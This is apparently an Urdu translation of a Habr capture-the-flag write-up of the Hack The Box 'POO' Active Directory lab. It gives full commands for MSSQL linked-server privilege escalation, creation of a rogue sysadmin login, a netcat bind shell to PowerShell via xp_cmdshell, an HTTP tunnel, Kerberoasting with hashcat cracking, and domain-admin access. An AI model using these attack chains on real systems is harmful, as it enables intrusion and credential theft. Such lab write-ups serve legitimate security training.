اس مضمون میں ہم صرف ایک مشین ہی نہیں بلکہ سائٹ سے ایک پوری منی لیبارٹری کے گزرنے کا تجزیہ کریں گے۔
جیسا کہ تفصیل میں بتایا گیا ہے، POO کو ایک چھوٹے سے ایکٹو ڈائریکٹری ماحول میں حملوں کے تمام مراحل پر مہارتوں کی جانچ کرنے کے لیے ڈیزائن کیا گیا ہے۔ مقصد ایک قابل رسائی میزبان سے سمجھوتہ کرنا، مراعات کو بڑھانا، اور بالآخر 5 جھنڈے جمع کرتے ہوئے پورے ڈومین سے سمجھوتہ کرنا ہے۔
لیبارٹری سے رابطہ VPN کے ذریعے ہے۔ یہ مشورہ دیا جاتا ہے کہ کام کے کمپیوٹر سے یا کسی ایسے میزبان سے رابطہ نہ کریں جہاں آپ کے لیے ڈیٹا اہم ہو، کیونکہ آپ ایک نجی نیٹ ورک پر ایسے لوگوں کے ساتھ آتے ہیں جو معلومات کی حفاظت کے شعبے میں کچھ جانتے ہیں :)
تنظیمی معلومات
نئے مضامین، سافٹ ویئر اور دیگر معلومات کے ساتھ اپ ٹو ڈیٹ رہنے میں آپ کی مدد کرنے کے لیے، میں نے بنایا ہے۔
تمام معلومات صرف تعلیمی مقاصد کے لیے پیش کی جاتی ہیں۔ اس دستاویز کا مصنف اس دستاویز کے مطالعہ سے حاصل کردہ علم اور تکنیک کے استعمال کے نتیجے میں کسی کو پہنچنے والے نقصان کی کوئی ذمہ داری قبول نہیں کرتا ہے۔
انٹرو
یہ اینڈگیم دو مشینوں پر مشتمل ہے، اور اس میں 5 جھنڈے ہیں۔
دستیاب میزبان کی تفصیل اور پتہ بھی دیا گیا ہے۔
شروع کرتے ہیں!
Recon پرچم
اس مشین کا IP ایڈریس 10.13.38.11 ہے، جسے میں /etc/hosts میں شامل کرتا ہوں۔
10.13.38.11 poo.htb
سب سے پہلے، ہم کھلی بندرگاہوں کو اسکین کرتے ہیں۔ چونکہ nmap کے ساتھ تمام بندرگاہوں کو اسکین کرنے میں کافی وقت لگتا ہے، اس لیے میں یہ سب سے پہلے masscan کا استعمال کرکے کروں گا۔ ہم تمام TCP اور UDP پورٹس کو tun0 انٹرفیس سے 500 پیکٹ فی سیکنڈ کی رفتار سے اسکین کرتے ہیں۔
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
اب، بندرگاہوں پر چلنے والی خدمات کے بارے میں مزید تفصیلی معلومات حاصل کرنے کے لیے، آئیے -A آپشن کے ساتھ اسکین چلائیں۔
nmap -A poo.htb -p80,1433
لہذا ہمارے پاس IIS اور MSSQL خدمات ہیں۔ اس صورت میں، ہم ڈومین اور کمپیوٹر کا اصلی DNS نام معلوم کریں گے۔ ویب سرور پر ہمیں IIS ہوم پیج سے خوش آمدید کہا جاتا ہے۔
آئیے ڈائریکٹریز کے ذریعے چلتے ہیں۔ میں اس کے لیے گوبسٹر استعمال کرتا ہوں۔ پیرامیٹرز میں ہم دھاگوں کی تعداد 128 (-t)، URL (-u)، ڈکشنری (-w) اور ایکسٹینشنز کی نشاندہی کرتے ہیں جن میں ہماری دلچسپی (-x) ہے۔
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
یہ ہمیں /ایڈمن ڈائرکٹری کے لیے ایچ ٹی ٹی پی کی توثیق کے ساتھ ساتھ ایک قابل رسائی ڈیسک ٹاپ سروس .DS_Store فائل فراہم کرتا ہے۔ .DS_Store وہ فائلیں ہیں جو فولڈر کے لیے حسب ضرورت سیٹنگز کو اسٹور کرتی ہیں، جیسے فائلوں کی فہرست، آئیکن کے مقامات، اور منتخب پس منظر کی تصویر۔ ایسی فائل ویب ڈویلپرز کی ویب سرور ڈائرکٹری میں ختم ہوسکتی ہے۔ اس طرح ہم ڈائریکٹری کے مواد کے بارے میں معلومات حاصل کرتے ہیں۔ اس کے لیے آپ استعمال کر سکتے ہیں۔
python3 dsstore_crawler.py -i http://poo.htb/
ہمیں ڈائریکٹری کا مواد ملتا ہے۔ یہاں سب سے دلچسپ چیز /dev ڈائریکٹری ہے، جس سے ہم دو شاخوں میں ذرائع اور ڈی بی فائلوں کو دیکھ سکتے ہیں۔ لیکن اگر سروس IIS ShortName کے لیے کمزور ہے تو ہم فائل اور ڈائریکٹری کے ناموں کے پہلے 6 حروف استعمال کر سکتے ہیں۔ آپ استعمال کر کے اس خطرے کی جانچ کر سکتے ہیں۔
اور ہمیں ایک ٹیکسٹ فائل ملتی ہے جو "poo_co" سے شروع ہوتی ہے۔ یہ نہیں جانتے کہ آگے کیا کرنا ہے، میں نے صرف ڈائرکٹری ڈکشنری سے "co" سے شروع ہونے والے تمام الفاظ کا انتخاب کیا۔
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
اور ہم اسے wfuzz کا استعمال کرتے ہوئے حل کریں گے۔
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
اور ہم صحیح لفظ تلاش کرتے ہیں! ہم اس فائل کو دیکھتے ہیں، اسناد کو محفوظ کرتے ہیں (DBNAME پیرامیٹر کے مطابق، وہ MSSQL سے ہیں)۔
ہم جھنڈا سرنڈر کرتے ہیں اور 20% آگے بڑھتے ہیں۔
ہہ جھنڈا۔
ہم MSSQL سے جڑتے ہیں، میں DBeaver استعمال کرتا ہوں۔
ہمیں اس ڈیٹا بیس میں کوئی دلچسپ چیز نہیں ملتی، آئیے ایک SQL ایڈیٹر بنائیں اور چیک کریں کہ وہاں کون سے صارفین ہیں۔
SELECT name FROM master..syslogins;
ہمارے پاس دو صارف ہیں۔ آئیے اپنے مراعات کا جائزہ لیں۔
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
اس طرح، کوئی مراعات نہیں ہیں. آئیے لنکڈ سرورز کو دیکھتے ہیں، میں نے اس تکنیک کے بارے میں تفصیل سے لکھا ہے۔
SELECT * FROM master..sysservers;
اس طرح ہم ایک اور SQL سرور تلاش کرتے ہیں۔ آئیے openquery() کا استعمال کرتے ہوئے اس سرور پر کمانڈز کے نفاذ کی جانچ کریں۔
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
اور ہم استفسار کا درخت بھی بنا سکتے ہیں۔
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
بات یہ ہے کہ جب ہم کسی منسلک سرور سے درخواست کرتے ہیں، تو درخواست کو دوسرے صارف کے تناظر میں عمل میں لایا جاتا ہے! آئیے دیکھتے ہیں کہ ہم کس صارف سے منسلک سرور پر کام کر رہے ہیں۔
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
اب دیکھتے ہیں کہ ہمارے سے منسلک سرور سے درخواست کس تناظر میں کی جاتی ہے!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
لہذا یہ ڈی بی او سیاق و سباق ہے جس میں تمام مراعات ہونی چاہئیں۔ آئیے لنکڈ سرور سے درخواست کی صورت میں مراعات کی جانچ کریں۔
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
جیسا کہ آپ دیکھ سکتے ہیں، ہمارے پاس تمام مراعات ہیں! آئیے اس طرح اپنا ایڈمن بنائیں۔ لیکن وہ اوپنکوری کے ذریعے اس کی اجازت نہیں دیتے، آئیے اسے EXECUTE AT کے ذریعے کرتے ہیں۔
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
اور اب ہم نئے صارف کی اسناد کے ساتھ جڑتے ہیں، ہم نئے فلیگ ڈیٹا بیس کا مشاہدہ کرتے ہیں۔
ہم اس جھنڈے کو حوالے کرتے ہیں اور آگے بڑھتے ہیں۔
بیک ٹریک پرچم
آئیے ایم ایس ایس کیو ایل کا استعمال کرتے ہوئے ایک شیل حاصل کریں، میں امپیکیٹ پیکیج سے mssqlclient استعمال کرتا ہوں۔
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
ہمیں پاس ورڈ حاصل کرنے کی ضرورت ہے، اور پہلی چیز جس کا ہم پہلے ہی سامنا کر چکے ہیں وہ ایک ویب سائٹ ہے۔ اس طرح، ہمیں ایک ویب سرور کنفیگریشن کی ضرورت ہے (ایک آسان شیل چھوڑنا ممکن نہیں ہے، بظاہر فائر وال چل رہا ہے)۔
لیکن رسائی سے انکار کر دیا گیا ہے. اگرچہ ہم MSSQL سے فائل پڑھ سکتے ہیں، ہمیں صرف یہ جاننے کی ضرورت ہے کہ کون سی پروگرامنگ لینگویجز کنفیگر ہیں۔ اور MSSQL ڈائرکٹری میں ہمیں پتہ چلتا ہے کہ Python موجود ہے۔
پھر web.config فائل کو پڑھنے میں کوئی مسئلہ نہیں ہے۔
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
ملنے والی اسناد کے ساتھ، /admin پر جائیں اور جھنڈا لیں۔
قدموں کا جھنڈا۔
درحقیقت، فائر وال کے استعمال سے کچھ تکلیفیں ہیں، لیکن نیٹ ورک کی ترتیبات کو دیکھتے ہوئے، ہم نے محسوس کیا کہ IPv6 بھی استعمال ہوتا ہے!
آئیے اس ایڈریس کو /etc/hosts میں شامل کریں۔
dead:babe::1001 poo6.htb
آئیے میزبان کو دوبارہ اسکین کریں، لیکن IPv6 پروٹوکول کا استعمال کرتے ہوئے۔
اور WinRM سروس IPv6 پر دستیاب ہے۔ آئیے ملنے والی اسناد سے جڑتے ہیں۔
ڈیسک ٹاپ پر ایک جھنڈا ہے، ہم اسے دے دیتے ہیں۔
P00 جھنڈا
کا استعمال کرتے ہوئے میزبان پر ٹوہی منعقد کرنے کے بعد
setspn.exe -T intranet.poo -Q */*
آئیے ایم ایس ایس کیو ایل کے ذریعے کمانڈ چلائیں۔
اس طریقہ کو استعمال کرتے ہوئے، ہم p00_hr اور p00_adm کے صارفین کا SPN حاصل کرتے ہیں، جس کا مطلب ہے کہ وہ Kerberoasting جیسے حملے کا شکار ہیں۔ مختصر میں، ہم ان کے پاس ورڈ ہیش حاصل کر سکتے ہیں۔
پہلے آپ کو ایک MSSQL صارف کے طور پر ایک مستحکم شیل حاصل کرنے کی ضرورت ہے۔ لیکن چونکہ ہماری رسائی محدود ہے، اس لیے ہم میزبان کے ساتھ صرف بندرگاہوں 80 اور 1433 کے ذریعے رابطہ رکھتے ہیں۔ لیکن پورٹ 80 کے ذریعے ٹریفک کو سرنگ کرنا ممکن ہے! اس کے لیے ہم استعمال کریں گے۔
لیکن جب ہم اس تک رسائی حاصل کرنے کی کوشش کرتے ہیں تو ہمیں ایک 404 ایرر ملتا ہے۔اس کا مطلب یہ ہے کہ *.aspx فائلوں پر عمل درآمد نہیں ہوتا ہے۔ ان ایکسٹینشنز والی فائلوں کو چلانے کے لیے مندرجہ ذیل ASP.NET 4.5 انسٹال کریں۔
dism /online /enable-feature /all /featurename:IIS-ASPNET45
اور اب، جب ہم tunnel.aspx تک رسائی حاصل کرتے ہیں، تو ہمیں جواب ملتا ہے کہ سب کچھ جانے کے لیے تیار ہے۔
آئیے ایپلیکیشن کا کلائنٹ حصہ شروع کریں، جو ٹریفک کو ریلے کرے گا۔ ہم پورٹ 5432 سے تمام ٹریفک کو سرور پر بھیج دیں گے۔
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
اور ہم اپنی پراکسی کے ذریعے کسی بھی ایپلیکیشن کی ٹریفک بھیجنے کے لیے پراکسی چینز کا استعمال کرتے ہیں۔ آئیے اس پراکسی کو کنفیگریشن فائل /etc/proxychains.conf میں شامل کریں۔
اب پروگرام کو سرور پر اپ لوڈ کرتے ہیں۔
اب ہم MSSQL کے ذریعے سامعین کو لانچ کرتے ہیں۔
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
اور ہم اپنے پراکسی کے ذریعے جڑتے ہیں۔
proxychains rlwrap nc poo.htb 4321
اور آئیے ہیش حاصل کریں۔
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
اگلا آپ کو ان ہیشوں پر اعادہ کرنے کی ضرورت ہے۔ چونکہ rockyou ڈکشنری میں یہ پاس ورڈز نہیں تھے، اس لیے میں نے Seclists میں فراہم کردہ تمام پاس ورڈ ڈکشنری استعمال کی۔ تلاش کے لیے ہم hashcat استعمال کرتے ہیں۔
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
اور ہمیں دونوں پاس ورڈز ملتے ہیں، پہلا ڈکشنری dutch_passwordlist.txt میں اور دوسرا Keyboard-Combinations.txt میں۔
اور اس طرح ہمارے پاس تین صارفین ہیں، آئیے ڈومین کنٹرولر پر جائیں۔ پہلے ہم اس کا پتہ معلوم کرتے ہیں۔
بہت اچھا، ہمیں ڈومین کنٹرولر کا IP پتہ معلوم ہوا۔ آئیے تمام ڈومین استعمال کرنے والوں کا پتہ لگاتے ہیں اور ان میں سے کون ایڈمنسٹریٹر ہے۔ معلومات حاصل کرنے کے لیے اسکرپٹ ڈاؤن لوڈ کرنے کے لیے PowerView.ps1۔ پھر ہم برائی-ونرم کا استعمال کرتے ہوئے رابطہ کریں گے، ڈائرکٹری کو اسکرپٹ کے ساتھ -s پیرامیٹر میں بتاتے ہوئے۔ اور پھر ہم صرف پاور ویو اسکرپٹ لوڈ کریں گے۔
اب ہمیں اس کے تمام افعال تک رسائی حاصل ہے۔ p00_adm صارف ایک مراعات یافتہ صارف کی طرح لگتا ہے، لہذا ہم اس کے تناظر میں کام کریں گے۔ آئیے اس صارف کے لیے ایک PSCcredential آبجیکٹ بنائیں۔
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
اب پاورشیل کی تمام کمانڈز جہاں ہم کریڈٹ کی وضاحت کرتے ہیں p00_adm کے بطور عمل میں لائی جائیں گی۔ آئیے صارفین کی فہرست اور AdminCount وصف ظاہر کرتے ہیں۔
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
اور اس طرح، ہمارا صارف واقعی مراعات یافتہ ہے۔ آئیے دیکھتے ہیں کہ وہ کن گروپوں میں ہے۔
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
ہم آخر میں تصدیق کرتے ہیں کہ صارف ایک ڈومین ایڈمنسٹریٹر ہے۔ اس سے اسے ڈومین کنٹرولر پر دور سے لاگ ان ہونے کا حق ملتا ہے۔ آئیے اپنی ٹنل کا استعمال کرتے ہوئے WinRM کے ذریعے لاگ ان کرنے کی کوشش کریں۔ برائی-وینرم کا استعمال کرتے وقت میں ری جارج کی طرف سے پیدا کی گئی غلطیوں سے الجھن میں تھا۔
پھر آئیے ایک اور، آسان استعمال کریں،
ہم جڑنے کی کوشش کرتے ہیں، اور ہم سسٹم میں ہیں۔
لیکن کوئی جھنڈا نہیں ہے۔ پھر صارف کو دیکھیں اور ڈیسک ٹاپس کو چیک کریں۔
ہمیں جھنڈا mr3ks پر ملتا ہے اور لیبارٹری 100% مکمل ہو چکی ہے۔
بس۔ تاثرات کے طور پر، براہ کرم تبصرہ کریں کہ آیا آپ نے اس مضمون سے کچھ نیا سیکھا ہے اور کیا یہ آپ کے لیے مفید ہے۔
آپ ہمارے ساتھ شامل ہو سکتے ہیں۔
ماخذ: www.habr.com